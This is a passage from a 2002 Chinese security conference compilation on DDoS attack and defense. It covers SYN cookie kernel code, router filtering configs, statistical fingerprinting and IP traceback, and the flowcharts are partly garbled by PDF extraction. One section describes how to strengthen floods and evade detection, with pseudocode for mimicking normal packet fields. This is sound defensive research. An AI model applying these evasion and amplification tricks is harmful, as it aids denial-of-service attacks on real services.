《PA-RISC 2.0 Instruction Set Architecture》《PA64_Runtime_Architecture》《HPUX-11.0 Runtime Architecture Document》《HPAssembler Reference Manual HP9000 9th》这些文档都可以在 http://devrsrc1.external.hp.com/STK/toc_ref.html 获得。《Exploiting buffer overflows on HP-UX/PA-RISC》 http://www.notlsd.net/bof/

SunDay翻译的《HP-UX(PA_RISC1.1)缓冲区溢出》http://www.xfocus.net/bbs/prime_show.php?board_id=2&id=20141

http://www.xfocus.org , http://www.xfocus.net 第 118页 共 218页

Page 119: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第四篇 DDOS攻防与追踪技术作者:refdom < [email protected] >时间:2002-9-20

关于 XFocus’s DDOS Research Project

该项目从 2002年 8月份启动,主要研究DDOS攻击技术,以及针对DDOS的防御技术分析和新技术的挖掘。该项目也包括研究 DDOS的追踪(TraceBack),IP欺骗的追踪技术,和DDOS攻击行为的监控技术。

前言拒绝服务攻击(Denial Of Service)主要分为:根据协议 进 行的拒绝服务攻击

(Protocol Attack)、利用系统漏洞进行的拒绝服务(System Weak Attack)以及带宽消耗攻击(Bandwidth/Throughput Attack)等。而本文主要不针对系统漏洞造成的拒绝服务攻击,而局限于协议和数据流方面的拒绝服务攻击。

第一节 简介拒绝服务(Denial-Of-Service)攻击就是消耗目标主机或者网络的资源,从而干扰或者

完全阻止为合法用户提供的服务。DDOS则是加强形式 DOS攻击,采用了分布式对单个或者多个目标进行攻击。这种攻击方式是一个非常严峻的安全问题,因为它们可以非常容易地发起攻击,却很难被阻止,而且还很难被追踪。按照 CERT统计,拒绝服务攻击还以每年50%的速度增加,但是,不幸的是,来对付拒绝服务攻击的机制却没有以相同的速度发展。因为在 Ipv4协议上的缺陷,目前在这方面的大多数工作都还是尽量缓解攻击,这些办法可以产生一些效果,但是还不能消除问题,也不能阻止攻击者。 由于拒绝服务攻击的威胁非常大,而且可能让受害者花费很多资源才能得到缓解。最典型的例子就是 2000年 4月,包括 Yahoo等几大著名网站遭受到分布式拒绝服务攻击。“DOS攻击能造成巨大的附加影响”,Kevin Houle 和 George Weaver在《拒绝服务技术发展趋势》报告中写到。

经过这么多年的发展,DOS方式已经变得非常多样化,而且完全向分布式和自动化发展,能够造成的破坏也越来越大。这已经得到安全界的重视,从防御到追踪,已经有了非常多的办法和理论。比如在防御方面,使用 SynCache、SynCookie,在追踪方面理论方法多一些,比如 Link Testing、ICMP Traceback、Hash-Based IP traceback、Marking等。

http://www.xfocus.org , http://www.xfocus.net 第 119页 共 218页

Page 120: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第二节 DDOS攻击技术的讨论DOS的技术实际上是很简单容易的,而分布式攻击只要是将攻击多面化,其中加入了

控制端和服务端,但是就一条攻击来看,依然是最简单的 DOS攻击。目前的DDOS攻击有下面这些特点和趋势: 大分布型的高强度攻击

这是一种强度的趋势。很多DDOS攻击者掌握着大量的 agent 机器(以及被攻破的服务器,并且被安装了 DDOS工具的 agent 部分),很多 agent有高速的带宽和高档的系统配置,比如最近对根服务器的拒绝服务攻击,就是从高速的韩国 agent发起的。当然,有组织性的攻击跟能集中这些力量。这些趋势能够让攻击者发起高强度的大分布攻击,并不仅仅对目标服务器造成伤害,也能对网络的路由器等核心设备造成威胁。而对网络设备的攻击将造成大范围的网速缓慢或者根本就不可使用。这也正是防御拒绝服务攻击的一大挑战。

产生随机源 IP地址产生无规律的随机源 IP地址现在已经成为DOS 程序的基本要求。有一些工具则是

一种伪随机,因为它们产生的是有规律的源 IP,比如连续性。因为分布的攻击再加上伪造的随机 IP地址,能够更好地保护攻击源不被追踪到。后面的部分,讨论了对源追踪的问题。

数据包结构位的随机性将攻击数据包结构的内容随机化是现在很多 DOS工具逃避检测和过滤的方法。这

是因为目前的很多检测方法过于呆板造成的。比如 TFN的发展到现在的 TFN3K,原始的 TFN中使用了一些固定值内容,而成为被检测的对象,TFN3K 数据包中的结构基本上都是随机形成的了。

协议缺陷与系统处理缺陷协议缺陷是网络的内伤,比如源追踪问题也属于协议的缺陷。IETF形成了 RFC文

档,虽然有很多人参与,但是时间可以证明当初的一些设计本身就是有问题的。所以,也不可否认 IPv6能够完美。Smurf是一个最明显的例子。一些系统在处理数据流的时候也存在缺陷,从而成为被攻击的对象。比如包的重组等。有一些并不是属于缺陷,而只是在处理大量数据包的时候能大量消耗 CPU,在消耗网络资源的同时,也消耗系统本身的资源也是目前DOS的趋势。将数据包分片,就能让目标重组的时候浪费资源。

使用多种协议及多种形式混合形式的攻击能够更大地扩大攻击的效果,这也反映了目前在防御方面的单一

性,处理多种攻击的时候就难以招架了。比如 SYN Flood + RST Flood + ACK Flood来加强 SYN攻击的强度。在上面,我们讨论一些趋势,也提示了如何加强拒绝服务的强度问题,当然,最直接

简单的办法就是“机海战术”,虽然是一种办法,但显得很无奈(不是无赖)。这里也讨论一些加强攻击的技术和方法,这些技术并不扩展到DDOS中的控制端和服务端上。

http://www.xfocus.org , http://www.xfocus.net 第 120页 共 218页

Page 121: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

混合的攻击在攻击趋势中指出了混合攻击的观点。比如,对于通常的 SYN Cookie防御 SYN

Flood攻击,这是很有效的办法。因为 SYN Cookie不仅能够扩大 TCB的最大数量限制,而且也能更小存储地接收 SYN请求。对于 SYN Cookie,其 CPU会主要消耗在对 SYN包的 Cookie 计算,因为在接收到 SYN包的时候,SYN Cookie 将这个包加密生成Cookie,SYN攻击发起的时候,保存 cookie的表就可能增大,当 SYN Cookie接收到ACK包的时候,会检查包中的 acnowledgement number,察看是否正确。对于RST包,会对应地删除 cookie队列,会进行相应查询。因此混合 SYN Flood + RST Flood + ACK Flood则可以加强 SYN攻击对主机资源的消耗。

提高发包速率(攻击包预产生法)提高发包速率是有效加强攻击的手段。比如 SYN攻击,数量的影响并不是非常重

要的,最重要的是 SYN的速率以及有效 SYN攻击包的数量。提高发包速率有很多办法,这里提出的是攻击包预产生法。

生成数据包的主要消耗是产生随机量,计算 SUM等。攻击包预产生是一种用空间换时间的办法,即是在攻击发包前先计算大量的攻击数据包,这些数据包保存在一个链表中,以 TCP的 40 字节包为例,我们产生 65535个攻击包,也仅仅多要 2.5M的存储空间。攻击发包的时候,直接从链表读取包内容。经过测试,这种办法至少可以提高20%的发包速度。并且非常有利于接下来介绍的无特征技术。

无特征性现在一些攻击的检测是从数据包量和特征出发的,因为一些工具把某些结构设置

为固定值,因而发出的包是有特征的,虽然有些的特征会同正常系统数据包相近。当然,现在的工具则大量使用了随机数,来避免存在特征,可是,即便这样,依然有特征可取,在后面的防御技术中,我们介绍如何抓取这种特征的办法。这里提供的方法是在计算包结构的时候首先生成一种系统标识(SYSIdent),系

统标识指定常见操作系统使用的包特征,然后根据这些特征再使用随机量。最后形成和正常系统基本近似的数据包。ipheader.id = SYSIdent.id + random;ipheader.ttl = SYSIdent. TTL + random(10);tcpheader.th_win = SYSIdent.window;tcpheader.seq != random(); //不要简单随机tcpheader.sport != rand(65535); //这个随机量要同系统常用的接近比如源端口,假设取 rand(65535),即取任意的 65535以内数字。浏览器访问WEB

的时候,本地端口是基本不会使用 1024以下端口的,所以,通过 21端口连接 80,就是不正常。Stream.c的随机即是 tcp_syn->th_sport = random(); 本文的后面部分还有相关的讨论。

http://www.xfocus.org , http://www.xfocus.net 第 121页 共 218页

LoadPacket()CreatePacket() Send()LinkList

Page 122: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第三节 拒绝服务攻击的防御技术

目前在 DDOS的防御方面,大多数工作都还是尽量去缓解攻击。因为实际上,带宽消耗式的攻击从单一的受害方来说,基本是没有办法根除的。这里讨论一些拒绝服务攻击的防御技术: 入口过滤(Ingress Filtering)

防火墙、路由器等边界设备的数据包过滤是现在对付拒绝服务攻击的主要办法。通过对一些特征的分析,将攻击数据流在外围过滤掉,可以大大缓解主机的负担。比如防御 ICMP Flood,可以在边界上直接关闭 ICMP包,因为通常 ICMP并不是

必要的。有一些工具就是利用 UNICODE漏洞进行 PING攻击的,关闭 ICMP对这种攻击就很有效。如果不是利用 ICMP包进行的,比如 TCP攻击,则可以通过过滤部分源IP地址来缓解,如一些国内站点可以通过过滤非国内 IP地址的访问。缺点:1、需要进行特征分析,而一些攻击(正如前面介绍的)可能会很难获得有效的特征;2、需要在攻击的时候及时进行攻击分析,这并不是每个人都具备的能力,也许等安全专家达到的时候,攻击已经停止了。

3、当然,必须自己能够控制或者能让人控制边界设备;4、边界设备被攻击的情况是没有办法过滤的,现在很多攻击就是朝着路由器去的。当然,这本身就是一个很难解决的问题。

随机丢包(Random Drop)一些防御拒绝服务攻击的设备采取了随机丢包的方法来缓解攻击,当然,边界设

备本身就在流量较大的时候采取丢包来维持可能的功能正常。随机丢包是一种对特征获取或者防御无奈的方法,要维持正常,只好随机地将数据包丢弃,尽量保证能提供服务,当然丢弃的包并不一定就是攻击的数据包,而放行的也并不一定就是正常的包。

Syn Cookie 和 Syn Cache为了防范 SYN FLOOD攻击,就是要减少为维持很大数量状态而分配的系统资源,

或者通过直到连接完成才分配资源的方法。SYN Cache和 SYN Cookies就是要来达到这个目的的。Cache的目的相当于行为监控,只分配很少的状态结构来纪录最初的连接请求,而 cookie目的就是编码那些能够完成 TCP 三次握手过程的正常的连接。

SYN Cache在主机上为连接分配一些资源,但是可能在资源减少之前就资源耗尽了。它必须应付状态溢出的情况,并且选择丢弃合适的状态保证保存顺畅。初始的 SYN请求包含一些连接选项,通常包含MSS,window 值,用时间戳或者其他。分配状态资源的一个目的就是来纪录这些选项,他们还没有从客户端发送ACK。

Syn Cookie技术实现了对 Synflood攻击的防范。在收到客户端的 Syn包后,防火墙代替服务器向客户端发送 Syn+Ack包,如果客户端在一段时间内没有应答或中间的网络设备发回了 ICMP错误消息,防火墙则丢弃此状态信息;如果客户端的 Ack到达,防火墙代替客户端向服务器发送 Syn包,并完成后续的握手最终建立客户端到服务器

http://www.xfocus.org , http://www.xfocus.net 第 122页 共 218页

Page 123: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

的连接。通过这种技术,保证了每个 Syn包源的真实有效性,确保服务器不被虚假请求浪费资源,从而彻底防范了对服务器的 Synflood攻击。下图表示了 Syn Cookie和普通连接的过程:

SYN Cookies不在主机上保存任何状态,只保存所有初始 TCP 连接状态,用一个队列来存储。它使用编码函数将所有信息加密成一个值然后用 SYN+ACK发送到客户端,并且将最后的三次握手最后部分返回给服务器。当然还有一个缺陷就是不能将初始的 SYN的所有选项加密成 cookie,第二个问题就是 TCP协议要求对不应答的数据进行转发,假设服务器在放弃或者丢弃连接之前转发 SYN+ACK,就会发送一个 RST给客户端去关闭这个连接。 http://www.xfocus.org , http://www.xfocus.net 第 123页 共 218页

no

LISTEN

SYNset?

drop segment

send RST

yes

yes

no

yes

no

send SYN-ACK

ACKSet?

validACK #

?

ESTABLISHED

no

no

yes

yessend RSTdrop segment

SYN-RCVD

RSTset?

ACKset?

SYNset?

no

no

SYN-RCVD

no

no

no yesyes

yes

queuefull?

recentoverflow

?

LISTEN

RSTset?

ACKset?

drop segmentyes

yes

no

yes

no

send SYN-ACK

ACKSet?

validACK #

?

no

yes

yessend RSTdrop segment

drop segment

op segment

p segment

validcookie

?

reconstruct the SYN segment

record timemake cookiesend SYN-ACK

ESTABLISHED

SYN Cookies disabled: Establishing a TCP connection.

SYN Cookies enabled: Establishing a TCP connection.

Page 124: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

当 SYN+ACK到达客户端,但是返回的 ACK丢失,这种结果就导致客户端和服务器端状态建立不平等。通常,这种情况被服务器转发处理,但是在 SYN Cookie中,主机中不保存任何状态,这种转发的机制是不存在的。

SYN Cookie是通过返回的 ACK来完成整个连接的建立,不依赖于流程化的 SYN, SYN+ACK传送。这可能造成 ACK请求 Flood攻击,这种攻击依赖使用正确的值来允许建立连接。这也提供一个绕过防火墙的可能,因为防火墙依赖 SYN来过滤外部连接,而现在建立连接根本不依靠 SYN包了。

另一个 SYN Cookie的困难就是同 TCPV6的兼容上。T/TCP的运作依靠发送系列化的对等递增的序列数,并且用先前接受的 SYN SEQ 值来建立连接完成三次握手过程。然而,一旦 TCP 连接完成了,T/TCP的序列号的使用是强制性的,这要求服务器纪录下初始的序列号,不论这个项是否需要。因此 SYN Cookie不能应用于高性能要求的服务器。通常的方法是使用状态分配机制,

并且只在大量状态被分配的时候才启用 SYN Cookie。这种机制在 Linux核心中所采用。SYN ConnectionSYN+ACKACK

Connection

在 Linux 代码 Kernel/ drivers/ char/ random.c中有下面的代码。#define HASH_BUFFER_SIZE 4#define HASH_EXTRA_SIZE 0

+#ifdef CONFIG_SYN_COOKIES+/*+ * Secure SYN cookie computation. This is the algorithm worked out by+ * Dan Bernstein and Eric Schenk.+ *+ * For linux I implement the 1 minute counter by looking at the jiffies clock.+ * The count is passed in as a parameter;+ *+ */+__u32 secure_tcp_syn_cookie(__u32 saddr, __u32 daddr,+ __u16 sport, __u16 dport, __u32 sseq, __u32 count)+{+ static int is_init = 0;+ static __u32 secret[2][16];+ __u32 tmp[16];+ __u32 seq;++ /*

http://www.xfocus.org , http://www.xfocus.net 第 124页 共 218页

SYN Cookie Server

Page 125: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

+ * Pick two random secret the first time we open a TCP connection.+ */+ if (is_init == 0) {+ get_random_bytes(&secret[0], sizeof(secret[0]));+ get_random_bytes(&secret[1], sizeof(secret[1]));+ is_init = 1;+ }++ /*+ * Compute the secure sequence number.+ * The output should be:+ * MD5(sec1,saddr,sport,daddr,dport,sec1) + their sequence number+ * + (count * 2^24)+ * + (MD5(sec2,saddr,sport,daddr,dport,count,sec2) % 2^24).+ * Where count increases every minute by 1.+ */++ memcpy(tmp, secret[0], sizeof(tmp));+ tmp[8]=saddr;+ tmp[9]=daddr;+ tmp[10]=(sport << 16) + dport;+ HASH_TRANSFORM(tmp, tmp);+ seq = tmp[1];++ memcpy(tmp, secret[1], sizeof(tmp));+ tmp[8]=saddr;+ tmp[9]=daddr;+ tmp[10]=(sport << 16) + dport;+ tmp[11]=count; /* minute counter */+ HASH_TRANSFORM(tmp, tmp);++ seq += sseq + (count << 24) + (tmp[1] & 0x00ffffff);++ /* Zap lower 3 bits to leave room for the MSS representation */+ return (seq & 0xfffff8);+}+#endif

校验 Syn cookie__u32 check_tcp_syn_cookie(__u32 cookie, __u32 saddr, __u32 daddr, __u16 sport, __u16 dport, __u32 sseq, __u32 count, __u32 maxdiff){ __u32 tmp[16 + HASH_BUFFER_SIZE + HASH_EXTRA_SIZE]; __u32 diff;

if (syncookie_init == 0)

http://www.xfocus.org , http://www.xfocus.net 第 125页 共 218页

Page 126: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

return (__u32)-1; /* Well, duh! */

/* Strip away the layers from the cookie */ memcpy(tmp+3, syncookie_secret[0], sizeof(syncookie_secret[0])); tmp[0]=saddr; tmp[1]=daddr; tmp[2]=(sport << 16) + dport; HASH_TRANSFORM(tmp+16, tmp); cookie -= tmp[17] + sseq; /* Cookie is now reduced to (count * 2^24) ^ (hash % 2^24) */2262 diff = (count - (cookie >> COOKIEBITS)) & ((__u32)-1 >> COOKIEBITS); if (diff >= maxdiff) return (__u32)-1;

memcpy(tmp+3, syncookie_secret[1], sizeof(syncookie_secret[1])); tmp[0] = saddr; tmp[1] = daddr; tmp[2] = (sport << 16) + dport; tmp[3] = count - diff; /* minute counter */ HASH_TRANSFORM(tmp+16, tmp);

return (cookie - tmp[17]) & COOKIEMASK; /* Leaving the data behind */}

被动消极忽略根据 TCP协议,在客户端发起 SYN 连接请求后,如果服务器没有 SYN+ACK的

相应,系统通常会在一端时间后(通常是 6秒)再次发出连接请求。鉴于在高强度的DDOS攻击情况下,可以采用消极的普遍忽略方法,忽略所有的

第一次 SYN请求,等待第二次 SYN请求的到来,如果有第二次数据包出现,则可认为为有效包。因为多数的 SYN FLOOD攻击发送数据包是一次性的,这种办法在高强度的DDOS攻击下能够起到一定的缓解作用。缺点:1、第一次连接都将被忽略,正常连接就需要花费更多时间;2、只能针对那些仅仅发一次包的攻击,这局限很大;

主动发送RST这也是一种防御 SYN攻击的办法,因为 SYN攻击的危害是因为很多不正常的

SYN请求占据了 TCB表,从而让新的连接无法得到回应。当服务器接受到RST包的时候,就会将 TCB中的相应纪录释放。发送 RST的方法就是利用了这种特点,通过第三方主动发送 RST包,让服务器的缓冲区尽快释放。但是,这种办法也没有去将攻击请求包和正常的请求区别对待。

其他方法因为攻击通常是自动进行的,攻击者则只是发送一些命令,而不用一直更改执行

的命令。因此,可以通过 IP地址变更或者DNS更改来转移原本的设置,而攻击则仍然 http://www.xfocus.org , http://www.xfocus.net 第 126页 共 218页

Page 127: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

朝旧地址在进行。但是,这种办法需要拥有多个 IP地址。很多被DOS攻击的服务器可能将 DNS设置为 127.0.0.1也就是这个原因,这种设置可以让那些发包器向自己本身发包,也同时导致DNS 解析无法正常使用。当然,很多工具也会过滤这些 IP地址,因为目标根本不可能是 127.0.0.1

路由器上的防御设置(更多的请参考路由器对DOS的防御设置 by Refdom 10-11)Access-list 访问控制列表 access-list 101 deny ip 192.168.0.0 0.0.255.255 anyRate-limit 流量限制(bps)

rate-limit output 512000 56000 64000 conform-action transmit exceed-action drop

假设正常速率为 512000 bps,正常突发速率为 56000bps,异常突发速率为 64000bps,流量速率超过 572000bps(512000+56000)之后仍增长,在 568001到 576000 之间的流量将可能被抛弃,超过 576000的流量将被 CAR丢弃。ip tcp intercept mode {intercept | watch}

watch 模式下,路由器允许 SYN直接达到服务器。如果该会话在 30秒(默认)内没有建立,就向服务器发送 RST 清除该连接。

Intercept 模式下,TCP 连接请求达到目标主机之前,路由器拦截所有 TCP请求,并代表服务器建立客户机的连接,并代表客户机建立与服务器的连接,当两个连接都成功实现,路由器就将两个连接进行透明的合并。开启该功能:ip tcp intercept list access-list-number

ip tcp intercept max-incomplete high number 1100在路由器开始删除连接之前能够存在的 half-open 连接的最大数目ip tcp intercept max-incomplete low number 900在路由器停止删除 halp-open 连接之前能够存在的最小 halp-open 连接数目ip tcp intercept one-minute high number 1100在路由器开始删除连接之前,每分钟能够存在的最大 halp-open 连接数目ip tcp intercept one-minute low number 900在路由器停止删除连接之前,每分钟能够存在的最小 halp-open 连接数目实例:ip tcp intercept list 101ip tcp intercept max-incomplete high 3000ip tcp intercept max-incomplete low 2500ip tcp intercept one-minute high 2000ip tcp intercept one-minute low 15001interface ethernet0 ip address 198.50.1.120 255.255.255.0!

http://www.xfocus.org , http://www.xfocus.net 第 127页 共 218页

Page 128: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

interface serial0 ip address 171.100.1.1 255.255.255.0!ip access-list 101 permit tcp any 198.50.1.0 0.0.0.128

第四节 基于统计分析的指纹识别方法(Statistic-Based Fingerprint Identification Methodology)[ Inside XFocus’s DDOS Research Project ]

从上面可以看出,拒绝服务攻击并不能象修补漏洞那样根除,很多方法都是建立在数据过滤基础上的,比如入口过滤、随机丢包等。过滤数据包的主要技术是找到攻击数据流的特征,比如:某种协议、某个端口或者某段 IP。同时,现在的特征多数只基于协议、端口、IP等,而不能从数据包的结构提供更多的选择。比如,我们要过滤某个 SEQ 值的所有数据包。但是简单的端口或者 IP根本不能满足对数据包特征的描述,这也让过滤数据包的能力大打折扣。传统的数据包特征分析存在以下缺陷:

1、局限于对某种特定攻击或者工具;有些攻击工具中存在一些固定的特征,比如固定的字符串等,或者固定的攻击方

式,比如 Land攻击。2、太依赖于攻击程序中的固定值;

很多攻击工具其数据包的结构中有一些固定值,比如window 值,甚至 SEQ 值。通过这些固定值,IDS等来检测攻击类型。

3、对于随机数则无法特征化;现在工具很多都采用随机数来构成攻击数据包,现在的办法对这些攻击就无法特

征化。4、无法普遍标识攻击流;

现在的方法也没有办法智能地判断攻击流,这就让防御时的过滤显得过于困难。因此,我们需要提出一种能够扩展目前过滤能力的方法。这种方法要求能够最大限度

地普遍标记攻击数据流。我们提出了基于统计分析的指纹识别方法。首先需要提出下面的假设,以便能够简化我们的实验:

1、攻击发起的数据包与统计没有关系因为我们的方法将基于大量的统计数据,因此,如果攻击者的数据包发送能够同

我们的统计数据大量地匹配,那么,我们就没有办法尽量让攻击数据流同正常数据区别开。但是,因为攻击者通常是无法接触这些统计,多数的攻击仅仅是攻击方的单方面意图,他们基本不考虑目标到底能够怎么样,因为最简单的拒绝服务攻击就是带宽消耗。

2、攻击发起的包程序化这个假设是限制攻击不会根据防御方的统计过滤而不断改变其数据包的结构,因

http://www.xfocus.org , http://www.xfocus.net 第 128页 共 218页

Page 129: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

为如果这种改变一直进行下去,那么,攻击者可能猜测到过滤的规律,并且也让数据包跟接近统计数据。

3、攻击者发送足够多的数据包该假设能够让我们的方法获得足够的统计信息,从而得到攻击特征。通常的拒绝

服务攻击在很短时间内就可以发送上万数据包,这有利于进行统计分析。4、攻击没有造成网络通෯上的瘫痪如果攻击造成网络设备的堵塞或者让网络设备当机,那么我们就不能在末端获得数据。

这种瘫痪并不只局限于需要保护网络边界。如果边界设备瘫痪,我们的技术也能够提供给更外层的设备。

根据我们的分析以及大量的统计,我们提出了基于统计分析的指纹识别方法,用这种办法来实现对普遍攻击流的特征标识。具体实现是对正常的数据流量进行长时间的统计,并且根据一些结构位或者多个结构位 hash,与时间间隔,得出正常数据报的特征,我们称这种特征为取样特征 f(x),这些特征以数据包数量间关系的分布,我们从此获得这些特征的分布曲线。我们把这个特征称为稳定特征。假设攻击发起,在一段时间内,由于数据流量突变,我们再次进行的数据统计可以得到一个新的数据流量特征,通过将攻击时的数据特征和正常的数据特征进行对比,可以获得特征曲线上的突变,这个突变的对应着一种数据特征,并且这个数据特征能够充分表明攻击的数据报。我们把这些突变的数据特征的数据量称为突变数据,它们的特征称为突变特征。当然,突变数据也可能会包含有正常的数据。

我们可以将这些突变特征传递给数据包过滤设备,并将具有突变特征的数据过滤,或者尽量过滤,来尽可能地保证最大化的正常访问,减少攻击的损失。也就是说该方法包含两个方面:1、建立在统计数据上的选择性丢包2、攻击包的指纹标记并不是所有的突变特征都适合标识攻击流,所以,我们提出了假设一和假设二。因为

可能出现碰巧这种情况,比如攻击曲线同我们的正常曲线过多重合,那么过滤将导致更多的正常数据受到影响。因为精明的攻击者会尽量让攻击数据包跟象正常数据。我们把这种情况称为特征曲线重合情况,即无法获得突变特征。这也同 hash的取得有关系,也许换用另外的 hash 函数可以得到突变特征。 http://www.xfocus.org , http://www.xfocus.net 第 129页 共 218页

攻击曲线正常曲线

突变特征

N( 数 据包量 / 总量 )

取样特征 hash = f(x)

攻击前后统计分析示意

Page 130: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

简单实例,以 TTL 值的分析为例:系统默认的 TTL 值为 255、128、64、32。通常的路由Hop为 10-20,正常的 TTL范围:

235~245、108 ~118、44 ~54、12 ~22;以 TFN3K的 TTL算法:ih->ttl = getrandom (200, 255)TTL的范围为:(MAX)180~245;(MIN)190~235

那么通过 TTL 值即可过滤最大 84.6%的攻击包该方法存在的难度和缺陷: 统计分布分析花销问题

因为要对所有的入口数据进行分析,并存储统计,这存在计算量和分析量问题,可能造成花销过大。

只能尽可能地弱化攻击该方法只是提供一种对攻击数据流的特征化方法,并不解决实际的拒绝服务攻击

问题。即便是取得了很好的突变特征,也只能弱化攻击。因为并不一定所有的攻击数据都能被突变特征标识。

将影响一部分正常数据包一些正常的数据包也可能正好在突变特征范围内,那么就可能受到过滤或者其他

防御操作的影响。 不可特征化问题

假设一和假设二是简化我们的方法,实际中可能遇到不可特征化问题。因为攻击者也会努力把数据包结构变得跟通常的情况相似来隐藏自己。

过滤操作问题该方法只是提供一种对攻击数据流的特征化方法,并不是实际的过滤方法,而过

滤还需要其他的设备支持。但是,现在的设备还不支持更多数据包结构位的过滤。目前只是一些基础性的分析,其他部分的研究还没有完成,以后的工作包括:

SEQ 序号等分布分析 Hash 函数研究,Hash=f(SEQ,TTL,Ident,Checksum) 与 Pushback技术的融合并将发布对基于统计分析的指纹识别方法的专门文档。

第五节 欺骗 IP攻击的追踪

实际配置中的关键是对网络中的路由器作出修改,以便让这个机制能有效地实施,可以是新增配置,也可以是同现有的基础结构的向后兼容。我们描述一种追踪规则,只需要一点或者不需要路由器的临界向前路径,可以增加配置允许在子网路由器内追踪,来支持我们的设计。更进一步,我们要论证我们能通过这种方法得到重要的路径信息,并且不影响现有路由器、主机系统和通常的流量。 http://www.xfocus.org , http://www.xfocus.net 第 130页 共 218页

Page 131: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

在 1985年的论文中,Morris 指出:“The weakness in this scheme[the Internet Protocol] is that the source host itself fills in the IP source host id, and there is no provision in TCP/IP to discover the true origin of a packet.”

入口过滤 (Ingress filtering)

一种对付匿名攻击的方法就是消除伪造源地址的能力。这种方法,通常就是入口过滤(ingress filtering),通过配置路由器去阻止不合理的源地址数据包通过。这要求路由器有足够能力去检查每个包的源地址,并且能够有足够的能力去区别正常的和不正常的地址。因此,入口过滤在 ISP的边缘或者客户网络中更加有作用,这里处理数据包更加明确,并且流量负载相对低些。 如果包是从多个 ISP 汇合进入,这就不能有足够的信息去明确决定是否数据包拥有“合法的”源地址。而且,以高速连接来说,对于许多路由器架构,入口过滤的消耗变得太不实际了。 入口过滤的主要问题还是因为它的效能依赖于大范围或者全体的配置。不幸的是,主要的 ISP,也许是绝大多数不提供这样的服务,也许他们没有被通知或者被阻碍,因为:管理负担、潜在的路由花费以及本身就是源地址欺骗的服务(比如:某些版本的移动 IP,某些混合的卫星通讯体系)因素。第二个问题就是,即便入口过滤机制在客户-ISP 之间普遍运用,攻击者仍然能够伪造客户网络中的成百上千的 IP地址。 很明显,入口过滤可能会戏剧性地发展网络的暴力拒绝服务攻击。同时,可以假设一个系统从来没有被欺骗过,因此,追踪(traceback)技术就显得很重要了。 链级测试 (Link Testing)

多数的追踪技术都是从最接近 victim的路由器开始,然后开始检查上流数据链,直到找到攻击流量发起源。理想情况下,这种过程可以递归执行直到找到攻击源头。这种技术假设攻击一直保持活动直到完成追踪,因此很难在攻击结束后、间歇性攻击或对追踪进行攻击调整等情况进行追踪。1、Input debugging 很多路由器都提供 Input debugging特性,这能让管理员在一些出口端过滤特定的数据包,而且能决定可以达到那些入口。这种特性就被用来作 traceback:首先,victim在确定被攻击时,要从所有的数据包中描述出攻击包标志。通过这些标志,管理员在上流的出口端配置合适的 Input debugging。这个过滤会体现出相关的 input端口,这个过滤过程可以一直朝上流进行,直到能够到达最初的源头。当然这种工作很多依靠手工,一些国外的 ISP 联合开发的工具能够在它们的网络中进行自动的追踪。

但是这种办法最大的问题就是管理花费。联系多个 ISP并同他们合作需要时间。因此这种办法需要大量的时间,而且几乎不可能完成。

具体实例参考《追踪伪造的 IP地址》(by refdom, 2002-11)。2、Controlled flooding Burch和 Cheswick 提出的方法。这种方法实际上就是制造 flood攻击,通过观察路由器的状态来判断攻击路径。首先应该有一张上游的路径图,当受到攻击的时候,可以从 victim的上级路由器开始依照路径图对上游的路由器进行控制的 flood,因为这些数据包同攻击者发 http://www.xfocus.org , http://www.xfocus.net 第 131页 共 218页

Page 132: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

起的数据包同时共享了路由器,因此增加了路由器丢包的可能性。通过这种沿路径图不断向上进行,就能够接近攻击发起的源头。

